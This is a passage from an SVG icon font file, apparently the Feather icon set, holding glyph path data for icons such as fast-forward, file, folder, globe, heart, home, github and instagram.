-95.9934 123.243q-172.446 184.098 -377.62 184.098l-0.999939 0.00115967q-49.7935 0 -98.2771 -11.3447q-13.6354 -3.19196 -23.2856 -15.3619q-9.65024 -12.17 -9.65024 -26.1741q0 -17.6607 12.4991 -30.1598 t30.1598 -12.4991q4.92651 0 9.72299 1.1228q38.9618 9.12689 78.978 9.12689l0.767731 -0.000854492q168.176 0 315.444 -157.103q25.0247 -26.8141 55.8001 -68.2226t49.234 -73.1023q-33.1714 -57.7209 -76.0356 -108.659zM571.454 322.414 q-10.4902 -11.3976 -28.8774 -19.464t-33.8776 -8.06638q-35.3099 0 -60.2997 24.9898t-24.9898 60.2997q0 15.4903 8.06644 33.8775q8.06641 18.3872 19.464 28.8775q13.5812 12.6536 13.5812 31.216q0 17.6633 -12.5008 30.1642q-12.5008 12.5009 -30.1642 12.5008 q-16.7953 0 -29.0838 -11.449q-22.2953 -20.9219 -38.0744 -57.3676t-15.7791 -67.0204q0 -70.6198 49.9797 -120.599q49.9797 -49.9797 120.599 -49.9797q30.5747 0 67.0204 15.7791t57.3676 38.0744q11.449 12.2884 11.449 29.0837q0 17.6633 -12.5009 30.1642 q-12.5009 12.5009 -30.1642 12.5009q-18.5624 0 -31.2154 -13.5818zM13.0202 822.68l938.185 -938.185q12.3944 -11.9709 29.6259 -11.9709q17.6549 0 30.1498 12.4949t12.4949 30.1499q0 17.2314 -11.9709 29.6259l-938.185 938.185q-12.5741 13.0188 -30.6737 13.0188 q-17.655 0 -30.1499 -12.4949t-12.4949 -30.1499q0 -18.0996 13.0188 -30.6738z" /> <glyph glyph-name="fast-forward" unicode="" d="M580.864 51.6267q-11.5563 -8.98963 -26.1973 -8.98963q-17.664 0 -30.1653 12.5013t-12.5013 30.1653v0.0296326v597.333v0.0296021q0 17.664 12.5013 30.1653t30.1653 12.5013q14.6411 0 26.1973 -8.98962l384 -298.667q16.5074 -12.8111 16.5074 -33.7067 t-16.5074 -33.7067zM869.12 384l-271.787 211.413v-422.827l271.829 211.413zM111.531 51.6267q-11.5563 -8.98962 -26.1973 -8.98962q-17.664 0 -30.1653 12.5013q-12.5013 12.5013 -12.5013 30.1653l1.14441e-05 0.0296249v597.333l-1.14441e-05 0.0296021 q0 17.6639 12.5013 30.1653q12.5013 12.5014 30.1653 12.5014q14.6411 0 26.1973 -8.98962l384 -298.667q16.5074 -12.8111 16.5074 -33.7067q0 -20.8955 -16.5074 -33.7067zM399.787 384l-271.787 211.413v-422.827l271.829 211.413z" /> <glyph glyph-name="file-text" unicode="" d="M554.667 768h-298.667q-17.664 0 -30.1653 -12.5013t-12.5013 -30.1653v-682.667q0 -17.664 12.5013 -30.1653q12.5013 -12.5013 30.1653 -12.5013h512q17.664 0 30.1653 12.5013q12.5013 12.5013 12.5013 30.1653v469.333h-213.333q-17.664 0 -30.1653 12.5013 q-12.5013 12.5013 -12.5013 30.1653v213.334zM640 707.669v-110.336h110.336zM597.333 853.333q17.6716 -0.00378418 30.1653 -12.5013l256 -256q12.4976 -12.4937 12.5013 -30.1653v-512q0 -52.992 -37.504 -90.496q-37.504 -37.504 -90.496 -37.504h-512 q-52.992 0 -90.496 37.504q-37.504 37.504 -37.504 90.496v682.667q0 52.992 37.504 90.496q37.504 37.504 90.496 37.504zM682.667 384q17.6613 -0.00268555 30.1607 -12.5041q12.4995 -12.5013 12.4995 -30.1626t-12.4994 -30.1626q-12.4995 -12.5013 -30.1608 -12.5041 h-341.333q-17.6613 0.00271606 -30.1607 12.504q-12.4994 12.5013 -12.4994 30.1626t12.4995 30.1626q12.4994 12.5014 30.1607 12.5041zM682.667 213.333q17.6613 -0.00270081 30.1607 -12.504q12.4995 -12.5014 12.4995 -30.1626t-12.4994 -30.1626 q-12.4995 -12.5013 -30.1608 -12.5041h-341.333q-17.6613 0.00270844 -30.1607 12.504q-12.4994 12.5013 -12.4994 30.1626t12.4994 30.1626t30.1607 12.504zM426.667 554.667q17.664 0 30.1653 -12.5013t12.5013 -30.1653t-12.5013 -30.1654 q-12.5013 -12.5013 -30.1653 -12.5013h-85.3333q-17.664 0 -30.1653 12.5013t-12.5013 30.1653q0 17.664 12.5013 30.1653t30.1653 12.5013z" /> <glyph glyph-name="film" unicode="" d="M42.6667 717.739q0.0352669 56.101 39.7645 95.8301q39.7292 39.7292 95.8302 39.7646h667.477q56.101 -0.0354004 95.8301 -39.7646q39.7292 -39.7292 39.7646 -95.8301v-667.477q-0.0354004 -56.1009 -39.7646 -95.8301q-39.7292 -39.7292 -95.8301 -39.7645h-667.477 q-56.1009 0.0352707 -95.8302 39.7645q-39.7292 39.7292 -39.7645 95.8302v667.477zM341.333 768v-341.333h341.333v341.333h-341.333zM341.333 0h341.333v341.333h-341.333v-341.333v-7.8125e-06zM896 426.667v128h-128v-128h128zM896 341.333h-128v-128h128v128z M128 341.333v-128h128v128h-128zM128 426.667h128v128h-128v-128zM768 768v-128h128v77.7386q-0.0351562 20.7731 -14.7617 35.4996q-14.7266 14.7265 -35.4996 14.7617zM896 128h-128v-128h77.7386q20.7731 0.035171 35.4996 14.7617q14.7266 14.7266 14.7617 35.4996z M256 768h-77.7387q-20.773 -0.0351562 -35.4996 -14.7617t-14.7617 -35.4996v-77.7386h128v128zM256 0v128h-128v-77.7387q0 -20.7434 14.7503 -35.5023q14.7504 -14.759 35.511 -14.759z" /> <glyph glyph-name="file" unicode="" d="M554.667 853.333q17.6717 -0.00372314 30.1653 -12.5013l298.667 -298.667q12.4975 -12.4938 12.5013 -30.1653v-469.333q0 -52.992 -37.504 -90.496q-37.504 -37.504 -90.496 -37.504h-512q-52.992 0 -90.496 37.504q-37.504 37.504 -37.504 90.496v682.667 q0 52.992 37.504 90.496q37.504 37.504 90.496 37.504zM512 512v256h-256q-17.664 0 -30.1653 -12.5013t-12.5013 -30.1653v-682.667q0 -17.664 12.5013 -30.1653q12.5013 -12.5013 30.1653 -12.5013h512q17.664 0 30.1653 12.5013q12.5013 12.5013 12.5013 30.1653v426.667 h-256q-17.6641 0 -30.1653 12.5013q-12.5013 12.5013 -12.5013 30.1653zM597.333 707.669v-153.003h153.003z" /> <glyph glyph-name="file-plus" unicode="" d="M554.667 768h-298.667q-17.664 0 -30.1653 -12.5013t-12.5013 -30.1653v-682.667q0 -17.664 12.5013 -30.1653q12.5013 -12.5013 30.1653 -12.5013h512q17.664 0 30.1653 12.5013q12.5013 12.5013 12.5013 30.1653v469.333h-213.333q-17.664 0 -30.1653 12.5013 q-12.5013 12.5013 -12.5013 30.1653v213.334zM640 707.669v-110.336h110.336zM597.333 853.333q17.6716 -0.00378418 30.1653 -12.5013l256 -256q12.4976 -12.4937 12.5013 -30.1653v-512q0 -52.992 -37.504 -90.496q-37.504 -37.504 -90.496 -37.504h-512 q-52.992 0 -90.496 37.504q-37.504 37.504 -37.504 90.496v682.667q0 52.992 37.504 90.496q37.504 37.504 90.496 37.504zM469.333 213.333h-85.3333q-17.664 0 -30.1653 12.5013t-12.5013 30.1653q0 17.664 12.5013 30.1654q12.5013 12.5013 30.1653 12.5013h85.3333 v85.3333q0 17.664 12.5013 30.1653t30.1653 12.5013t30.1653 -12.5013t12.5013 -30.1653v-85.3333h85.3333q17.664 0 30.1653 -12.5013t12.5013 -30.1654q0 -17.664 -12.5013 -30.1653t-30.1653 -12.5013h-85.3333v-85.3333q0 -17.664 -12.5013 -30.1653t-30.1653 -12.5013 t-30.1653 12.5013q-12.5013 12.5013 -12.5013 30.1653z" /> <glyph glyph-name="folder" unicode="" d="M170.667 725.333q-17.664 0 -30.1653 -12.5014q-12.5013 -12.5013 -12.5013 -30.1653v-597.333q0 -17.664 12.5013 -30.1653q12.5013 -12.5013 30.1653 -12.5013h682.667q17.664 0 30.1653 12.5013q12.5013 12.5013 12.5013 30.1653v469.333q0 17.664 -12.5013 30.1653 t-30.1653 12.5013h-384h-0.00637817q-9.4494 0 -19.8487 5.56311q-10.3992 5.56311 -15.6436 13.4236l-72.6613 109.013zM853.333 682.667q52.992 0 90.496 -37.504q37.504 -37.504 37.504 -90.496v-469.333q0 -52.992 -37.504 -90.496q-37.504 -37.504 -90.496 -37.504 h-682.667q-52.992 0 -90.496 37.504q-37.504 37.504 -37.504 90.496v597.333q0 52.992 37.504 90.496q37.504 37.504 90.496 37.504h213.333h0.00637817q9.44937 0 19.8486 -5.56311t15.6437 -13.4236l72.6613 -109.013z" /> <glyph glyph-name="filter" unicode="" d="M384 348.757l-331.264 391.68q-10.0976 11.9318 -10.0976 27.5627q0 17.664 12.5013 30.1653q12.5013 12.5013 30.1653 12.5013h0.0282974h853.333h0.0282593q17.664 0 30.1653 -12.5013t12.5013 -30.1653q0 -15.6309 -10.0976 -27.5626l-331.264 -391.68v-348.757 q-0.00939941 -17.6546 -12.5107 -30.1492q-12.5013 -12.4946 -30.1559 -12.4946q-10.0668 0 -19.072 4.49989l-170.667 85.3333q-9.76233 4.87826 -16.6756 16.0545q-6.91327 11.1762 -6.91907 22.0895zM177.28 725.333l281.984 -333.397q10.0693 -11.923 10.0693 -27.5292 v-0.0334167v-252.672l85.3333 -42.6667v295.339v0.0334167q0 15.6062 10.0693 27.5292l281.984 333.397z" /> <glyph glyph-name="flag" unicode="" d="M128 -42.6667v810.667q0.00376892 17.6716 12.5013 30.1653q16.8922 16.8922 51.6267 30.7627q60.9459 24.4053 149.205 24.4053q43.992 0 82.2812 -9.67096t104.215 -36.0677q57.8734 -23.1229 89.4225 -31.3588q31.5491 -8.23584 65.4149 -8.23584 q71.6771 0 117.504 18.2614q18.4719 7.4212 22.9973 11.9467q20.16 20.126 46.496 9.20001t26.336 -39.408v-512q-0.00372314 -17.6716 -12.5013 -30.1653q-16.8921 -16.8922 -51.6266 -30.7627q-60.8785 -24.4053 -149.205 -24.4053q-43.9921 0 -82.2811 9.67091 q-38.2889 9.6709 -104.215 36.0677q-57.8736 23.1231 -89.4226 31.3589q-31.549 8.23578 -65.4148 8.23578q-71.6771 0 -117.504 -18.2613q-5.32376 -2.13168 -10.496 -4.608v-275.797q-0.00270081 -17.6613 -12.504 -30.1607q-12.5013 -12.4994 -30.1626 -12.4994 t-30.1626 12.4994q-12.5013 12.4994 -12.5041 30.1607zM341.333 341.333q43.9922 0 82.2812 -9.67093t104.215 -36.0677q57.8736 -23.1232 89.4225 -31.3589t65.4148 -8.23575q71.677 0 117.504 18.2613q6.08002 2.496 10.496 4.608v420.693q-54.7618 -16.896 -128 -16.896 q-43.992 0 -82.2812 9.6709t-104.215 36.0677q-57.8734 23.1229 -89.4225 31.3588q-31.5491 8.2359 -65.4149 8.2359q-71.6772 0 -117.504 -18.2614q-5.32307 -2.13135 -10.496 -4.60797v-420.693q54.7619 16.896 128 16.896z" /> <glyph glyph-name="globe" unicode="" d="M512 -85.3333q-95.4834 0 -182.397 37.1694t-149.756 100.011t-100.011 149.756q-37.1694 86.9139 -37.1694 182.397q0 95.4834 37.1694 182.397q37.1694 86.9138 100.011 149.755q62.8417 62.8417 149.756 100.011q86.9138 37.1694 182.397 37.1694 q95.4833 0 182.397 -37.1694t149.756 -100.011q62.8417 -62.8417 100.011 -149.755t37.1694 -182.397q0 -95.4833 -37.1694 -182.397t-100.011 -149.756q-62.8417 -62.8417 -149.755 -100.011q-86.9138 -37.1694 -182.398 -37.1694zM723.2 341.333 q-6.02661 -74.2061 -39.4803 -170.591t-74.6957 -158.369q105.658 27.6537 189.054 124.039q83.3964 96.3853 95.575 204.921h-170.453zM300.928 341.333h-170.581q12.1786 -108.536 95.575 -204.921q83.3964 -96.385 189.054 -124.039q-41.1777 62.0034 -74.5938 158.389 q-33.4161 96.3853 -39.4542 170.571zM609.024 755.627q41.1777 -62.0034 74.5938 -158.389q33.4161 -96.3853 39.4542 -170.571h170.581q-12.1786 108.536 -95.575 204.921t-189.054 124.039zM414.976 755.627q-105.658 -27.6537 -189.054 -124.039 q-83.3964 -96.3853 -95.575 -204.921h170.453q6.02667 74.2061 39.4802 170.591q33.4536 96.3852 74.6958 158.369zM386.475 341.333q6.78772 -73.3789 43.5666 -166.514q36.7789 -93.1349 81.9587 -151.353q45.2267 58.2022 82.0431 151.337 q36.8163 93.1349 43.6102 166.53h-251.179zM637.525 426.667q-6.78778 73.379 -43.5667 166.514q-36.7789 93.1349 -81.9586 151.353q-45.2267 -58.2021 -82.0431 -151.337q-36.8164 -93.1349 -43.6103 -166.53z" /> <glyph glyph-name="grid" unicode="" d="M170.667 512h213.333v213.333h-213.333v-213.333zM128 810.667h298.667q17.664 0 30.1653 -12.5013t12.5013 -30.1653v-298.667q0 -17.664 -12.5013 -30.1653t-30.1653 -12.5013h-298.667q-17.664 0 -30.1653 12.5013t-12.5013 30.1653v298.667q0 17.664 12.5013 30.1653 t30.1653 12.5013zM640 512h213.333v213.333h-213.333v-213.333zM597.333 810.667h298.667q17.664 0 30.1653 -12.5013t12.5013 -30.1653v-298.667q0 -17.664 -12.5013 -30.1653t-30.1653 -12.5013h-298.667q-17.6639 0 -30.1653 12.5013q-12.5013 12.5013 -12.5013 30.1653 v298.667q0 17.664 12.5013 30.1653t30.1653 12.5013zM640 42.6667h213.333v213.333h-213.333v-213.333zM597.333 341.333h298.667q17.664 0 30.1653 -12.5013t12.5013 -30.1653v-298.667q0 -17.664 -12.5013 -30.1653q-12.5013 -12.5013 -30.1653 -12.5013h-298.667 q-17.664 0 -30.1653 12.5013t-12.5013 30.1653v298.667q0 17.664 12.5013 30.1653t30.1653 12.5013zM170.667 42.6667h213.333v213.333h-213.333v-213.333zM128 341.333h298.667q17.664 0 30.1653 -12.5013t12.5013 -30.1653v-298.667q0 -17.664 -12.5013 -30.1653 q-12.5013 -12.5013 -30.1653 -12.5013h-298.667q-17.664 0 -30.1653 12.5013t-12.5013 30.1653v298.667q0 17.664 12.5013 30.1653t30.1653 12.5013z" /> <glyph glyph-name="heart" unicode="" d="M527.061 729.472q33.6374 33.6785 91.131 57.5137q57.4936 23.8351 105.093 23.8351q114.816 0 196.075 -81.2587t81.2587 -196.075l-6.10352e-05 -0.154236q-0.00280762 -47.5718 -23.8179 -105.04q-23.8151 -57.4686 -57.4622 -91.0983l-377.173 -377.173 q-12.496 -12.4922 -30.1653 -12.4922t-30.1653 12.4922l-377.173 377.173q-33.6347 33.6347 -57.439 91.1033q-23.8043 57.4687 -23.8043 105.035q0 114.836 81.2729 196.109q81.2729 81.273 196.109 81.2729q47.5667 0 105.035 -23.8043t91.1033 -57.439l15.0613 -15.0613z M813.781 352.299l45.2267 45.2267q23.335 23.2906 39.8497 63.1074t16.5148 72.786q0 79.488 -56.256 135.744t-135.744 56.256l-0.172485 -6.10352e-05q-32.944 -0.00708008 -72.7358 -16.5089q-39.7918 -16.5017 -63.0722 -39.8112l-45.2267 -45.2267 q-12.496 -12.4922 -30.1653 -12.4922q-17.6693 0 -30.1653 12.4922l-45.2267 45.2267q-23.2878 23.2915 -63.0796 39.7756q-39.7918 16.4841 -72.7284 16.4841q-79.5072 0 -135.777 -56.2696q-56.2696 -56.2696 -56.2696 -135.777q0 -32.9293 16.4779 -72.7148 q16.4779 -39.7855 39.7606 -63.0719l347.008 -347.008z" /> <glyph glyph-name="home" unicode="" d="M101.803 545.707l384 298.667q11.5562 8.98962 26.1973 8.98962q14.6411 0 26.1973 -8.98962l384 -298.667q16.4694 -12.8115 16.4694 -33.6771v-0.0296021v-469.333q0 -52.992 -37.504 -90.496q-37.504 -37.504 -90.496 -37.504h-597.333q-52.992 0 -90.496 37.504 q-37.504 37.504 -37.504 90.496v469.333l-7.62939e-06 0.0296021q0 20.8656 16.4689 33.6771zM682.667 0h128q17.664 0 30.1653 12.5013t12.5013 30.1653v448.427l-341.333 265.515l-341.333 -265.472v-448.469q0 -17.664 12.5013 -30.1653 q12.5013 -12.5013 30.1653 -12.5013h128v384q0 17.664 12.5013 30.1653t30.1653 12.5013h256q17.6641 0 30.1653 -12.5013q12.5013 -12.5013 12.5013 -30.1653zM426.667 0h170.667v341.333h-170.667v-341.333z" /> <glyph glyph-name="github" unicode="" d="M371.755 83.5413q-69.9978 -19.2684 -104.619 -9.71733q-34.6208 9.55106 -70.1867 53.5787q-1.51442 1.8716 -9.49222 11.9618t-9.70778 12.2302q-21.5316 26.5801 -39.9821 40.5713q-18.4505 13.9912 -42.0659 19.8873q-4.96397 1.20593 -10.0724 1.20593 q-17.664 0 -30.1653 -12.5013q-12.5013 -12.5013 -12.5013 -30.1653q0 -13.6835 9.37689 -25.7881t22.6261 -15.5245q13.8316 -3.48799 36.3947 -31.36q1.58878 -1.92943 9.59492 -12.0332t9.60507 -12.0735q34.3674 -42.5723 69.9812 -63.6808t84.8197 -24.93 q49.2059 -3.8215 110.884 16.5894q12.5956 3.77343 21.5099 15.7497q8.91431 11.9763 8.91431 25.125q0 17.6652 -12.5022 30.1673q-12.5022 12.5022 -30.1673 12.5022q-6.25424 0 -12.2446 -1.79479zM960 489.813q-0.00878906 39.376 -17.2482 89.1437 q-17.2393 49.7678 -41.5892 80.7123q8.49005 32.3362 8.49005 65.7687q0 53.1701 -20.9487 102.039q-7.88763 18.4133 -27.0933 24.1067q-4.41217 1.2594 -8.96002 1.87732q-67.6144 9.79297 -177.621 -59.9893q-69.8774 16.5862 -141.696 16.5862t-141.696 -16.5862 q-110.094 69.8373 -177.664 59.9893q-4.54758 -0.61792 -8.96001 -1.87732q-19.1782 -5.71008 -27.0507 -24.1067q-20.9487 -48.8693 -20.9487 -102.039q0 -33.4324 8.49002 -65.7687q-24.3602 -30.9562 -41.6006 -80.7435t-17.2404 -89.179 q0 -0.714172 0.00370026 -1.42688q0 -143.729 62.04 -222.495q62.0401 -78.7656 185.427 -107.105q-13.174 -33.16 -13.174 -68.8411q0 -6.54781 0.45929 -13.0789l-0.0853271 -162.133q0 -17.664 12.5013 -30.1653t30.1653 -12.5013t30.1653 12.5013t12.5013 30.1653 v165.12q-3.24313 48.0632 28.1173 80.4267q11.974 12.4001 11.974 29.6379q0 15.6042 -10.9591 28.01q-10.9592 12.4058 -26.4442 14.3308q-125.204 15.5803 -181.279 72.8947q-56.0756 57.3144 -56.0756 183.447q-0.00363159 0.589203 -0.00363159 1.17383 q0 31.3691 15.3027 69.6543t36.9249 61.0119q11.7859 12.3619 11.7859 29.4419q0 7.70953 -2.69795 14.9315q-10.964 29.3732 -10.964 60.7261q0 20.9677 4.99066 41.3326q4.48 -0.960022 9.85599 -2.56q44.165 -12.6674 103.04 -52.1813q10.7737 -7.2146 23.7402 -7.2146 q5.70193 0 11.2038 1.49725q67.8537 18.3873 138.155 18.3873q70.3013 0 138.155 -18.3873q5.50189 -1.49725 11.2038 -1.49725q12.9664 0 23.7402 7.2146q58.8077 39.4686 103.04 52.224q5.54694 1.58478 9.81335 2.56q5.01392 -20.4099 5.01392 -41.4273 q0 -31.324 -10.9446 -60.674q-2.69794 -7.22205 -2.69794 -14.9314q0 -17.08 11.7859 -29.442q21.6122 -22.7051 36.9138 -60.9593q15.3016 -38.2542 15.3102 -69.6007q0 -127.341 -56.2067 -184.866q-56.2067 -57.5253 -180.593 -71.39q-15.7214 -1.73953 -26.8478 -14.165 q-11.1265 -12.4255 -11.1265 -28.2428q0 -17.2871 12.033 -29.6988q11.8055 -12.1781 20.1607 -32.8005q8.3551 -20.6224 8.3551 -37.5834q0 -3.98179 -0.313171 -7.95213l-0.127991 -168.448q0.00274658 -17.6613 12.504 -30.1607t30.1627 -12.4994t30.1627 12.4994 t12.504 30.1607v165.12q0.502625 6.65949 0.502625 13.3382q0 34.4102 -12.876 66.3205q122.721 27.2164 184.881 106.442q62.1594 79.2256 62.1576 223.925z" /> <glyph glyph-name="image" unicode="" d="M213.333 -42.6667h-0.213333q-52.9037 3.8147e-06 -90.3452 37.4415t-37.4415 90.3452v597.76q0 52.9037 37.4415 90.3452t90.3452 37.4415h597.76q52.9037 0 90.3452 -37.4415t37.4415 -90.3452v-597.76v0q0 -52.9037 -37.4415 -90.3452t-90.3452 -37.4415h-597.547z M853.333 358.997v323.84v0.0426636q0 17.5756 -12.4388 30.0145t-30.0145 12.4388h-597.76q-17.5757 0 -30.0145 -12.4388t-12.4388 -30.0145v-597.76q0 -13.5096 7.68639 -24.3694q7.6864 -10.8597 19.9616 -15.4386l454.187 454.187q12.496 12.4922 30.1653 12.4922 t30.1653 -12.4922zM853.333 238.336l-170.667 170.667l-366.336 -366.336h494.507q17.6041 0 30.05 12.4287q12.4459 12.4287 12.4459 30.0246v153.173zM362.667 426.667h-0.0103149q-44.16 0 -75.4134 31.2533q-31.2533 31.2533 -31.2533 75.4133q0 44.16 31.2533 75.4133 q31.2534 31.2534 75.4134 31.2534h0.0103149q44.1558 -0.00421143 75.406 -31.2576q31.2503 -31.2534 31.2503 -75.4091t-31.2503 -75.4091t-75.406 -31.2575zM362.667 512q8.832 0 15.0827 6.25067t6.25067 15.0826t-6.25067 15.0827q-6.25067 6.25067 -15.0827 6.25067 q-8.83197 0 -15.0827 -6.25067q-6.25067 -6.25067 -6.25067 -15.0826q0 -8.83203 6.25067 -15.0827t15.0827 -6.25067z" /> <glyph glyph-name="inbox" unicode="" d="M311.467 768h401.067h0.0637207q34.4713 0 68.7563 -22.3024q34.285 -22.3023 48.2573 -53.8149l148.053 -333.227q3.66931 -8.26639 3.66931 -17.3105v-0.012207v-213.333q0 -52.992 -37.504 -90.496t-90.496 -37.504h-682.667q-52.992 0 -90.496 37.504t-37.504 90.496 v213.333v0.012207q0 9.04413 3.66933 17.3105l148.053 333.227q13.9724 31.5125 48.2574 53.8149q34.285 22.3024 68.7563 22.3024h0.0643921zM873.003 384l-121.387 273.28q-4.65552 10.5101 -16.0856 17.9484q-11.4302 7.43835 -22.9252 7.43835l-0.0718384 -6.10352e-05 h-401.067l-0.0718079 6.10352e-05q-11.495 0 -22.9252 -7.43829q-11.4301 -7.43829 -16.0857 -17.9484l-121.344 -273.28h190.293h0.00637817q9.44943 0 19.8486 -5.56305q10.3992 -5.56308 15.6436 -13.4236l72.6613 -109.013h125.013l72.6613 109.013 q5.24445 7.86053 15.6437 13.4236q10.3992 5.56305 19.8486 5.56305h0.00640869zM896 128v170.667h-190.507l-72.6613 -109.013q-5.24445 -7.86049 -15.6437 -13.4236q-10.3992 -5.56308 -19.8486 -5.56308h-0.00646973h-170.667h-0.00637817q-9.4494 0 -19.8486 5.5631 q-10.3993 5.56308 -15.6436 13.4236l-72.6613 109.013h-190.507v-170.667q0 -17.664 12.5013 -30.1653t30.1653 -12.5013h682.667q17.664 0 30.1653 12.5013t12.502 30.1653z" /> <glyph glyph-name="layers" unicode="" d="M492.928 848.811q9.00519 4.49988 19.072 4.49988q10.067 0 19.072 -4.49988l426.667 -213.333q9.74927 -4.88623 16.6492 -16.0624q6.8999 -11.1763 6.8999 -22.0815q0 -10.9053 -6.8999 -22.0815q-6.89984 -11.1762 -16.6492 -16.0625l-426.667 -213.333 q-9.00507 -4.49988 -19.072 -4.49988q-10.0669 0 -19.072 4.49988l-426.667 213.333q-9.74931 4.88635 -16.6492 16.0625q-6.89991 11.1762 -6.89991 22.0815t6.89991 22.0815t16.6492 16.0626zM180.736 597.333l331.264 -165.632l331.264 165.632l-331.264 165.632z M104.405 208.811q-8.51405 3.933 -17.8927 3.933q-17.664 0 -30.1653 -12.5013t-12.5013 -30.1653q0 -10.5432 6.56769 -21.5466t15.8476 -16.0077l426.667 -213.333q9.00516 -4.49989 19.072 -4.49989q10.067 0 19.072 4.49989l426.667 213.333 q9.27997 5.00426 15.8477 16.0077t6.56769 21.5467q0 17.664 -12.5013 30.1653t-30.1653 12.5013q-9.37854 0 -17.8926 -3.933l-407.595 -203.776zM104.405 422.144q-8.51401 3.93298 -17.8927 3.93298q-17.664 0 -30.1653 -12.5013q-12.5013 -12.5013 -12.5013 -30.1653 q0 -10.5433 6.5677 -21.5467t15.8476 -16.0077l426.667 -213.333q9.00519 -4.49988 19.072 -4.49988q10.0669 0 19.072 4.49988l426.667 213.333q9.27991 5.00421 15.8476 16.0076q6.56775 11.0034 6.56775 21.5467q0 17.664 -12.5013 30.1653t-30.1653 12.5013 q-9.37854 0 -17.8926 -3.93301l-407.595 -203.776z" /> <glyph glyph-name="info" unicode="" d="M512 -85.3333q-95.4834 0 -182.397 37.1694t-149.756 100.011t-100.011 149.756q-37.1694 86.9139 -37.1694 182.397q0 95.4834 37.1694 182.397q37.1694 86.9138 100.011 149.755q62.8417 62.8417 149.756 100.011q86.9138 37.1694 182.397 37.1694 q95.4833 0 182.397 -37.1694t149.756 -100.011q62.8417 -62.8417 100.011 -149.755t37.1694 -182.397q0 -95.4833 -37.1694 -182.397t-100.011 -149.756q-62.8417 -62.8417 -149.755 -100.011q-86.9138 -37.1694 -182.398 -37.1694zM512 -2.87646e-06 q104.256 0 192.72 51.408q88.4642 51.408 139.872 139.872q51.408 88.4641 51.408 192.72q0 159 -112.5 271.5t-271.5 112.5t-271.5 -112.5t-112.5 -271.5q0 -104.256 51.4079 -192.72q51.4079 -88.4642 139.872 -139.872t192.72 -51.408zM554.667 213.333v170.667 q0 17.664 -12.5013 30.1653t-30.1653 12.5013t-30.1653 -12.5013t-12.5013 -30.1653v-170.667q0 -17.664 12.5013 -30.1653t30.1653 -12.5013t30.1653 12.5013t12.5013 30.1653zM512 554.667zM469.333 554.667q0 -17.6641 12.5013 -30.1653 q12.5013 -12.5013 30.1653 -12.5013t30.1653 12.5013t12.5013 30.1653t-12.5013 30.1653t-30.1653 12.5013t-30.1653 -12.5013q-12.5013 -12.5013 -12.5013 -30.1653z" /> <glyph glyph-name="instagram" unicode="" d="M128 597.547v-427.093v-1.52588e-05q0 -70.5677 49.9428 -120.511t120.511 -49.9428h427.093q70.5677 1.03063e-05 120.51 49.9428q49.9428 49.9428 49.9428 120.511v427.093q0 70.5677 -49.9428 120.51t-120.51 49.9428h-427.093v0q-70.5677 0 -120.511 -49.9428 t-49.9428 -120.51zM42.6667 597.547q7.62939e-06 105.896 74.9455 180.841q74.9455 74.9455 180.841 74.9455h427.093q105.896 0 180.841 -74.9455t74.9455 -180.841v-427.093v-1.52588e-05q0 -105.896 -74.9455 -180.841t-180.841 -74.9455h-427.093v0 q-105.896 0 -180.841 74.9455q-74.9455 74.9455 -74.9455 180.841zM640.427 404.608q-5.95142 46.2252 -43.1484 78.9402q-37.197 32.715 -83.8038 32.715q-52.992 0 -90.496 -37.504t-37.504 -90.496q0 -10.6746 1.76816 -21.2019q6.94067 -44.8958 44.0044 -76.67 t82.4929 -31.7741q52.9919 0 90.496 37.504q37.504 37.504 37.504 90.496q0 9.04065 -1.27063 17.9908zM724.907 417.152q2.3078 -15.5626 2.3078 -31.296q0 -88.3304 -62.514 -150.844q-62.514 -62.514 -150.844 -62.514q-76.1981 0 -138.036 53.3443 q-61.8378 53.3443 -73.0148 128.718q-2.30801 15.563 -2.30801 31.296q0 88.3216 62.5079 150.829q62.5078 62.5079 150.829 62.5079q76.1893 0 138.021 -53.3381q61.8315 -53.3381 73.0084 -128.703zM725.333 640zM682.667 640v-0.00653076q0 -17.664 12.5013 -30.1653 t30.1653 -12.5013t30.1653 12.5013t12.5013 30.1653v0.00653076v0.00653076q0 17.664 -12.5013 30.1653t-30.1653 12.5013q-17.6639 0 -30.1653 -12.5013q-12.5013 -12.5014 -12.5013 -30.1653v-0.00653076z" /> <glyph glyph-name="layout" unicode="" d="M85.3333 682.88q0 52.9037 37.4415 90.3452t90.3452 37.4415h597.76q52.9037 0 90.3452 -37.4415t37.4415 -90.3452v-597.76v0q0 -52.9037 -37.4415 -90.3452t-90.3452 -37.4415h-597.76q-52.9037 3.8147e-06 -90.3452 37.4415t-37.4415 90.3452zM853.333 554.667 v128.213q0 17.5756 -12.4388 30.0145t-30.0145 12.4388h-597.76q-17.5757 0 -30.0145 -12.4388t-12.4388 -30.0145v-128.213h682.667zM853.333 469.333h-426.667v-426.667h384.213q17.6 0 30.0267 12.4267t12.4266 30.0267zM341.333 42.6667v426.667h-170.667v-384.213 q0 -17.6 12.4267 -30.0267t30.0267 -12.4267z" /> <glyph glyph-name="link-" unicode="" d="M640 554.667h128q70.6561 0 120.661 -50.0053t50.0053 -120.661t-50.0053 -120.661q-50.0054 -50.0053 -120.661 -50.0053h-128q-17.6613 -0.00268555 -30.1607 -12.504t-12.4995 -30.1626t12.4994 -30.1626q12.4995 -12.5013 30.1608 -12.504h128 q105.984 0 180.992 75.008q75.008 75.008 75.008 180.992t-75.008 180.992t-180.992 75.008h-128q-17.6613 -0.00268555 -30.1607 -12.504t-12.4995 -30.1627q0 -17.6613 12.4994 -30.1625q12.4995 -12.5013 30.1608 -12.5049zM384 213.333h-128q-70.656 0 -120.661 50.0053 q-50.0053 50.0053 -50.0053 120.661q0 70.656 50.0053 120.661q50.0053 50.0053 120.661 50.0053h128h0.00653076q17.664 0 30.1653 12.5014q12.5013 12.5013 12.5013 30.1653t-12.5013 30.1653t-30.1653 12.5013h-0.00653076h-128q-106 0 -181 -75t-75 -181t75 -181 t181 -75h128q17.6613 0.00270081 30.1607 12.504q12.4994 12.5013 12.4994 30.1626t-12.4994 30.1626t-30.1607 12.505zM341.333 341.333h341.333q17.664 0 30.1653 12.5013t12.5013 30.1653t-12.5013 30.1653t-30.1653 12.5013h-341.333q-17.664 0 -30.1653 -12.5013 t-12.5013 -30.1653t12.5013 -30.1653t30.1653 -12.5013z" /> <glyph glyph-name="life-buoy" unicode="" d="M272.299 83.968q43.3875 -34.763 113.441 -59.3657q70.0539 -24.6028 125.65 -24.6028q0.30484 0 0.60968 0.000486063q0.304871 -0.000486082 0.60968 -0.000486082q55.5963 0 125.65 24.6028q70.0538 24.6028 113.441 59.3657l-122.027 122.027 q-22.0755 -14.6259 -56.4403 -24.9771q-34.3647 -10.3512 -60.8457 